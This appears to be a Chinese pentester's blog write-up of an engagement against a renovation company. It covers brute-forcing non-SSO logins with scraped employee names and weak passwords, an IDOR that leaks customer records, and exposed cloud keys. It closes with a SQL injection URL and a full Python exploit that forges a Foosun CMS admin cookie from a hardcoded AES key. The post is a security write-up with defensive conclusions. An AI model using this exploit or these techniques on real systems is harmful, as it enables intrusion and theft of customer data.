前言
最近一家Top级别的装修行业公司对外发布了安全需求，遭遇到的问题就是用户核心数据泄漏，并且严重影响到了客户体验，客户提交的个人联系方式很快就会倒转到第三方公司，于是老板的态度就是只需要解决数据安全问题，成本合理就采纳，前提是签订安全合同之前必须有一定漏洞数据产出和对应的解决方案让对方的开发运维团队以及老板看到，再于是就有了这一次的简单渗透之旅
测试阶段
常规测试
在做测试之前已经听说了很多家安全公司过去做渗透测试并没有发现核心的安全问题，我想可能是方法不对
通过FOFA/HUNTER/SHODAN/自行探索/ONEFORALL等方式进行了初步的信息收集，包括资产分类，业务分类，因为是传统型企业公司，不具有本地机房，所以收集到的资产清单中统一为阿里云/华为云/腾讯云机器，并且WAF都是通过cname进行解析，所以所有的流量都经过waf检测才会再次发送流量至服务器,这一个配置可以拒绝大部分漏扫流量，同样的几个漏扫包括Goby/awvs/xray毫无结果而且导致多个IP被ban….
资产域名主机共1500条左右
手工测试
产出1
既然不能通过漏洞形式，那就通过旁门方式去探索一下，访问了对方大部分系统发现，大部分的登陆OA/EHR/外呼系统/订单系统/都已接入SSO，猜测会存在一定的新上线业务或者遗留历史业务
于是编写脚本捕捉漏网之鱼，之前写过了一个xray的漏洞复测脚本刚好是过滤SSO页面的，所以直接拿来复用，首先资产中将存在login行为url的全部提取出来，接入SSO的测试
跑完脚本后发现确实存在好几个漏洞之鱼未接入的登陆平台，爆破测试后发现验证码可复用，但是苦于没有登陆账户，不过这里提示前端JS也已提示密码为6位及以上，所以这里结合利用两个点
爆破前提：验证码复用+密码6位及以上
账户获取一个是通过公开的渠道，比如与客服沟通或者通过intext等谷歌搜索出部分人名，这里我通过社交渠道获取登陆账户
通过开通人脉会员（心疼这68人民币），将此公司集团及下属子公司的所有员工姓名信息进行爬取后（数据量不多，通过selenium即可，速度较慢），将其登陆账户设置为两种方式，一种人名称全英，一种名字三位缩写，密码设置为名字缩写加123456/1234/123等进行爆破，脚本就不放出来了..实现很简单，多个线程循环测试即可
总共618个员工账户，爆破出了十个可登陆账户，概率还是挺高的…
之后直接带着密码登陆，多个登陆尝试后选取了一个店长级别权限账户进行登陆，单个店长账户已经可以获取到近万的订单量，包括客户的联系方式，地址，施工信息等
这里是一个历史的thinkphp，但是这里所有的shell行为和SQL行为都被阿里云waf拦截于是放弃，暂时做个记录
产出2
逛百度贴吧发现了一个在官网没有展示的历史业务–投诉订单，访问后直接跳转到了一个四级子域名，于是继续测试
上次提问是2010年。。。。
这一个四级子域名是之前没有发现到的，感觉来了就开始翻JS，果然，这里存在一个pages-tousu-tousu.js文件，于是开始搜onLoad/ajax/url/path等关键字，发现一个c_id的可变参数，于是直接在url进行构造数字和字符，就顺利出了数据
于是开始编写脚本披露获取大量数据，包括客户信息，项目信息等
产出3
顺藤摸瓜，根据GET地址获取得到数据源地址直接访问，这类数据是直接从FeiShuService拉出来的，猜测新增的数据是存放在了飞书文档类似应用，既然存在Complaininfo，也有可能存在其他公司，供应商等信息，所以开始构造路径，将feishuservice/complanyinfo-customerinfo-userinfo等多个自定义的关键字进行循环访问，顺利获得供应商大量信息以及对应提供的产品，继续进行数据爬取，最后获取得到有效207个账户
通过之前的未接入SSO的漏网之鱼继续测试，通过循环account+各类弱口令登陆大量供应商账户，并且存在多个开发的测试账户，竟然还存在各类OSS的AK/SK，至此已经得到大部分的数据订单，图片等
存在但无法利用
一个历史风汛cms漏洞，本地搭建测试成功登陆，但是exp被阿里云waf过滤掉了，分析一下这个漏洞的原理
这里的CityId直接通过request传入，前面并没有做任何权限校验和过滤，所以直接传入getCityList函数
接着直接调用Foosun.CMS.News类的GetProvinceOrCityList函数
最后直接操作sql语句
通过此条URL可以直接触发漏洞，前提是没有waf
/user/City_ajax.aspx?CityId=3%27;create%20table%20rebeyond(int%20a);–
漏洞exp
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
KEY = ‘Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76h%(HilJ$lhj!y6&(jkP87jH7′
IV = ‘E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk’
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument(“-u”, “–url”, help=”the url”, required=True, nargs=”+”)
return parser.parse_args()
def run(url):
try:
usernumber = get_usernumber(url)
if usernumber is not None:
encrypt_cookie = generate_cookie(usernumber)
#写入cookie中
write_cookie(url, encrypt_cookie)
except Exception:
traceback.print_exc()
def get_usernumber(url):
fullurl = url + “/user/City_ajax.aspx?CityId=1′ union all select UserNum,UserNum from dbo.fs_sys_User where UserName=’admin”
content = urllib.urlopen(fullurl).read()
index = content.index(“<option value=\””)
if index != -1:
usernumber = content[index+15:]
usernumber = usernumber[0: content.index(“\””)+1]
print “Get usernumber success. Usernumber is :”, usernumber
return usernumber
else:
print “Get usernumber fail”
return None
def pkcs7padding(data):
bs = AES.block_size
padding = bs – len(data) % bs
padding_text = chr(padding) * padding
return data + padding_text
def generate_cookie(usernumber):
orgstr = “%s,admin,0,1,False”%(usernumber,)
cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
ciphertext = base64.b64encode(ciphertext)
return ciphertext
def write_cookie(url, ciphercookie):
print “Generate Cookie[SITEINFO]:”, ciphercookie
print “Now you can write cookie and access the url: %s/manage/index.aspx”%(url,)
if name == ‘main‘:
args = parse_args()
try:
if args.url is not None:
run(args.url[0])
except Exception, e:
print “python Foosun_exp.py -u [url]”
最终
数据泄漏较为严重，但是难以绕过WAF，所有的shell操作，sql注入，SSRF都被拦截住，实在搞不下来目标,代理池也是封了一波又一波，实在心累。而且数据泄漏方面，安全技术侧只是一个点，更多的是员工的安全意识，每个点都存在可能泄露，实在防不胜防，通过这次简单渗透+提供了较为合理的数据泄漏解决方案也成功获取了对方的信任，合同顺理成章的签订也算是有个交代了
有意思的是和对方开发团队对接的时候，对方看着这几个站点和利用手段明显是有些迷茫，这也引起了我的思考，在甲方企业中，安全/运维/开发应该是处于一条链上的互补关系，资产暴露面决定了攻击者的攻击宽度，登陆系统接入SSO也好，所有业务接入WAF也好，只能是提高攻击难度，并不能完全抵挡住攻击，毕竟业务为主，后期的亡羊补牢补救措施成效不大，所以Devsecops或者SDL在甲方尤其是业务迭代速度较快的甲方，是很有必要的，合理的安全制度也只能随着安全事件的驱动而不断完善…..